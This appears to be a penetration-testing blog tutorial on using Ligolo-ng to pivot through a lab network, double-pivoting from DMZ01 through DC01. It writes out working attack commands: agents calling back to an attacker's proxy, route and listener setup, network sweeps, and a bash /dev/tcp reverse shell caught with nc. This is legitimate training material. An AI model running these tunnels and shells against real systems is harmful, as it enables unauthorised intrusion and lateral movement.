Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).
Background
Pivoting is a technique used by attackers to move from one compromised system to another. This can be a valuable tool for attackers, as it allows them to expand their reach and access more sensitive data.
By pivoting, pentesters can gain access to systems that would otherwise be unreachable. I've been working through a couple of labs recently and it has made me realize how painstaking manual pivoting is.
I have used a variety of tools for pivoting, including chisel, shuttle, SSH reverse port forward paired with proxychains, ngrok and plink. However, I have found that these tools can be cumbersome and difficult to use (when there are multiple networks stacked on top of each other). During my lab time with Cobalt Strike, I realized how easy pivoting with a C2 framework was.
Recently, I discovered a new tool called Ligolo-ng written by Nicolas Chatelain that I found to be much more user-friendly and effective in what it does. Upon usage I found Ligolo to be a C2 framework just for pivoting & proxying. I'd be covering the setup, usage and practicality of this tool in this post!
Video Demo
Here's a video demo showcasing the tool's capability! This'll help you decide if you should continue reading.
Network
NETWORK A - 10.129.203.0/24
NETWORK B - 172.16.8.0/24
NETWORK C - 172.16.9.0/24
DMZ01 - Connected to both Network A & B
DC01 - Connected to both Network B & C
This is the network that we'll be pivoting through and testing this tool on. Our first pivot will be on DMZ01
to enable us to access Network B and the following double pivot would be on DC01
to enable us to access Network C.
Prerequisites
Pick your poison and meet me over at the next section!
Compiling Binaries
$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go
Precompiled binaries
Terminologies
PROXY SERVER = C2 / Kali Box
AGENT = pwned host / victim box
Setting up the Proxy Server
This section will cover setting up of the Proxy Server on the Kali Box
Creating a TUN Interface
sudo ip tuntap add user nee mode tun ligolo
sudo ip link set ligolo up
Verifying Interface
ip a
Starting the Proxy Server
./proxy -selfcert
Running ./proxy -autocert
will generate legitimate certificates using Let's Encrypt.
Setting up the Agent
RED - Hosts reachable
BLUE - Established Pivot Tunnel
Once we've set up the agent on DMZ01, we'd have owned 2 networks and we'd be able to access all hosts on Network B using the pivot on DMZ01.
DMZ01
We can see that the DMZ01 host has 2 network adapters. However, from our KALI we are only able to hit the 10.129.203.0/16
network before the pivot.
Connecting to Proxy Server
./agent -connect 10.10.15.146:11601 -ignore-cert
Now that we're successfully connected we can head back to the Kali box and add an ip route
. This is to let our Kali box know which interface to use whilst accessing the pivot networks.
Adding a new route on Proxy Server
sudo ip route add 172.16.8.0/24 dev ligolo
Checking Connectivity to Hosts on Network B
ping 172.16.8.3
cme smb 172.16.8.0/24
Nice! We're able to reach Network B thru our pivot ๐
Double Pivot
This is where things usually get a little chaotic. Usually we'd have sshuttle running on the initial pivot and we'd put in place a SSH reverse port forward or a SOCAT port forward on the initial pivot to send connections back to the Kali box and then use something like chisel to establish a tunnel with the double pivot box.
With Ligolo, we're able to do something similar to cobalt strike's rportfwd
. The rportfwd
command on cobalt strike will bind a port on the compromised target and relay all incoming traffic to a specified host and port. Ligolo is able to perform this exact task with the listener_add
command. This eliminates the need for multiple SSH reverse port forwards. Everything can be done within the same tunnel. Let's take a look at how that's done.
RED - Hosts Reachable
BLUE - Established Pivot Tunnel
With the help of listener_add
on DMZ01, we're able to establish a secure tunnel with the DC which we can use to directly access Network C without proxychains (๐คข)!
Creating a Listener
(The box that is connected to both Network A and Network B)
on the initial pivot to send the new host's traffic to the Proxy server so that its able to establish a tunnel.
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp
listener_list
Connect Double Pivot box to Proxy Server
(The box that is connected to both Network B and Network C)
./agent.exe -connect 172.16.8.120:11601 -ignore-cert
Start Tunnel
(On Proxy Server)
Adding a new route on Proxy Server
sudo ip route add 172.16.9.0/24 dev ligolo
Checking Connectivity to Hosts on Network C
ping 172.16.9.25
nmap -Pn -p 22 172.16.9.25
ssh -i ssmallsadm.key ssmallsadm@172.16.9.25
Catching Reverse Shell via Double Pivot
RED - Hosts Reachable
BLUE - Established Pivot Tunnel
GREEN - Reverse Shell Traffic
Since we are now able to reach the various networks directly, a reverse shell isn't the most ideal. A bind shell would be the most efficient. However, if given a scenario where we aren't able to bind to ports on a particular box, let's take a look at how this can be done.
Instead of having to forward ports from MGMT01 โ DC01 โ DMZ01 โ Kali, with Ligolo we could create a listener on DC01 which would directly forward traffic to our Kali box via the existing tunnel!
Creating a Listener
listener_add --addr 0.0.0.0:9001 --to 127.0.0.1:9001 --tcp
Listener #1 will now forward all traffic hitting DC01:9001 to the PROXYSERVER:9001. (You could also forward it to another host if necessary)
Triggering & Catching reverse shell
MGMT01
sh -i >& /dev/tcp/172.16.9.3/9001 0>&1
KALI
nc -nvlp 9001
Thats all there is to it!
Hope this helps someone out there who's having a hard time double / tripple / quadruple / quintuple pivoting with the usual toolz!